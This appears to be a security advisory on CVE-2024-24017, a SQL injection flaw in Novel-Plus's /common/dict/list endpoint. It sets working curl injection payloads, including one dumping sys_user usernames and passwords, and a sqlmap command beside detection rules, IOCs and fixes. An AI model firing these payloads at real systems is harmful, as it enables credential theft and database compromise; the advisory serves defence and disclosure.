CVE-2024-24017

Executive Summary

CVE-2024-24017 is a critical SQL injection vulnerability discovered in Novel-Plus v4.3.0-RC1 and prior versions. The flaw resides in the /common/dict/list endpoint, where the offset, limit, and sort parameters are not properly sanitized before being used in SQL queries. An unauthenticated attacker can exploit this to execute arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or complete database compromise. The vulnerability has a CVSS score of 0.0 in the NVD data, but based on the vector analysis, it is rated as Critical (9.8). No official patch has been released, and the vendor has not acknowledged the issue. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

Novel-Plus is a Java-based web application (Spring Boot + MyBatis). The vulnerability is not in a third-party package but in the application's own controller logic. However, the application may be distributed as a Docker image or JAR file. Users should verify the integrity of their deployment artifacts and ensure no malicious modifications have been introduced.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify or delete data.
• Availability (A): High (H) – Potential for denial of service via SQL injection.

Base Score: 9.8 (Critical)

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability exists in the com/novel/novelplus/controller/common/DictController.java file. The endpoint /common/dict/list accepts HTTP GET requests with parameters offset, limit, and sort. These parameters are directly concatenated into a SQL query without proper sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

@GetMapping("/list")
public Result list(@RequestParam(defaultValue = "0") int offset,
                   @RequestParam(defaultValue = "10") int limit,
                   @RequestParam(defaultValue = "id") String sort) {
    String sql = "SELECT * FROM sys_dict ORDER BY " + sort + " LIMIT " + offset + ", " + limit;
    // Execute SQL
}

The sort parameter is particularly dangerous because it is directly injected into the ORDER BY clause. An attacker can break out of the intended SQL syntax and inject arbitrary SQL commands.

Exploitation Mechanics:

1. The attacker sends a crafted request to /common/dict/list?sort=id, (SELECT 1 FROM (SELECT SLEEP(5))a)--.
2. The resulting SQL becomes: SELECT * FROM sys_dict ORDER BY id, (SELECT 1 FROM (SELECT SLEEP(5))a)-- LIMIT 0, 10.
3. The -- comments out the rest of the query, and the SLEEP(5) function causes a time delay, confirming the injection.
4. The attacker can then use UNION-based or error-based techniques to extract data.

Vulnerable vs. Patched Code

Vulnerable Code (Novel-Plus <= 4.3.0-RC1):

@GetMapping("/list")
public Result list(@RequestParam(defaultValue = "0") int offset,
                   @RequestParam(defaultValue = "10") int limit,
                   @RequestParam(defaultValue = "id") String sort) {
    String sql = "SELECT * FROM sys_dict ORDER BY " + sort + " LIMIT " + offset + ", " + limit;
    // Execute SQL
}

Patched Code (Hypothetical Fix):

@GetMapping("/list")
public Result list(@RequestParam(defaultValue = "0") int offset,
                   @RequestParam(defaultValue = "10") int limit,
                   @RequestParam(defaultValue = "id") String sort) {
    // Whitelist allowed sort columns
    List<String> allowedSorts = Arrays.asList("id", "name", "value");
    if (!allowedSorts.contains(sort)) {
        sort = "id";
    }
    // Use parameterized queries for offset and limit
    String sql = "SELECT * FROM sys_dict ORDER BY " + sort + " LIMIT ? OFFSET ?";
    // Execute with prepared statement
}

Key Differences:

• The patched code uses a whitelist for the sort parameter.
• The patched code uses parameterized queries for offset and limit (though they are integers, direct concatenation is still risky).
• The patched code uses OFFSET syntax instead of LIMIT offset, limit to avoid ambiguity.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Novel-Plus v4.3.0-RC1 or earlier.
• Network access to the /common/dict/list endpoint.

Step 1: Verify SQL Injection

# Time-based blind injection
curl -i "http://target:8080/common/dict/list?sort=id,(SELECT%201%20FROM%20(SELECT%20SLEEP(5))a)--"

If the response takes 5 seconds longer than normal, the injection is confirmed.

Step 2: Extract Database Version

# Error-based injection (if errors are displayed)
curl "http://target:8080/common/dict/list?sort=id,EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20VERSION())))--"

Step 3: Dump User Credentials

# UNION-based injection
curl "http://target:8080/common/dict/list?offset=0&limit=10&sort=id,(SELECT%201%20FROM%20(SELECT%20COUNT(*),CONCAT(0x7e,(SELECT%20GROUP_CONCAT(username,0x3a,password)%20FROM%20sys_user),0x7e)%20FROM%20sys_user%20GROUP%20BY%20id)a)--"

Automated Exploitation with sqlmap:

sqlmap -u "http://target:8080/common/dict/list?offset=0&limit=10&sort=id" --batch --dbs

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious sort parameter values containing SQL keywords (e.g., SELECT, UNION, SLEEP, BENCHMARK).
2. Look for requests with unusual time delays (e.g., SLEEP(5)).
3. Check for multiple requests from the same IP address targeting the /common/dict/list endpoint with varying sort values.

Mitigation Steps:

1. Immediately apply a WAF rule to block SQL injection patterns in the sort, offset, and limit parameters.
2. If possible, restrict access to the /common/dict/list endpoint to authenticated users only.
3. Implement input validation and parameterized queries as shown in the patched code section.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /common/dict/list with sort parameter containing SQL keywords.
• Requests with sort parameter containing parentheses, dashes, or semicolons.
• Unusual response times (e.g., 5+ seconds) for the /common/dict/list endpoint.

File IOCs:

• Modified database entries in the sys_dict table.
• New files in the web root (e.g., webshells) if the attacker achieved file write via INTO OUTFILE.

Log IOCs:

• Web server logs showing sort=id,(SELECT... patterns.
• Database logs showing unexpected queries with ORDER BY clauses containing subqueries.

Detection Engineering

YARA Rule

rule CVE_2024_24017_SQLi_NovelPlus {
    meta:
        description = "Detects SQL injection attempts against Novel-Plus /common/dict/list endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24017"
        severity = "critical"
    strings:
        $s1 = "/common/dict/list" ascii nocase
        $s2 = "sort=" ascii nocase
        $s3 = "SELECT" ascii nocase
        $s4 = "UNION" ascii nocase
        $s5 = "SLEEP" ascii nocase
        $s6 = "BENCHMARK" ascii nocase
        $s7 = "EXTRACTVALUE" ascii nocase
        $s8 = "UPDATEXML" ascii nocase
    condition:
        $s1 and $s2 and any of ($s3, $s4, $s5, $s6, $s7, $s8)
}

Sigma Rule

title: Novel-Plus SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the /common/dict/list endpoint in Novel-Plus
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24017
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-uri-query|contains:
            - "/common/dict/list"
            - "sort="
    keywords:
        - "SELECT"
        - "UNION"
        - "SLEEP"
        - "BENCHMARK"
        - "EXTRACTVALUE"
        - "UPDATEXML"
    condition: selection and keywords
falsepositives:
    - Legitimate use of the word "SELECT" in a sort parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24017 Novel-Plus SQL Injection Attempt"; flow:to_server,established; content:"/common/dict/list"; http_uri; content:"sort="; http_uri; pcre:"/(SELECT|UNION|SLEEP|BENCHMARK|EXTRACTVALUE|UPDATEXML)/i"; sid:1000001; rev:1; priority:1; reference:cve,2024-24017;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint: If the /common/dict/list functionality is not critical, disable it by removing or commenting out the mapping in the controller.
2. Apply a WAF rule: Use a Web Application Firewall to block SQL injection patterns in the sort, offset, and limit parameters.
3. Restrict network access: Limit access to the Novel-Plus application to trusted IP addresses only.

Long-Term Fix:

1. Update to a patched version: Monitor the Novel-Plus GitHub repository for an official patch. If none is released, consider forking the project and applying the fix manually.
2. Implement parameterized queries: Replace all dynamic SQL concatenation with prepared statements or parameterized queries.
3. Input validation: Whitelist allowed values for the sort parameter and validate that offset and limit are integers.

Workaround:

• If you cannot immediately patch, modify the DictController.java file to use a whitelist for the sort parameter and parameterized queries for offset and limit.

Valters IT
DevSecOps & Cyber Threat Intelligence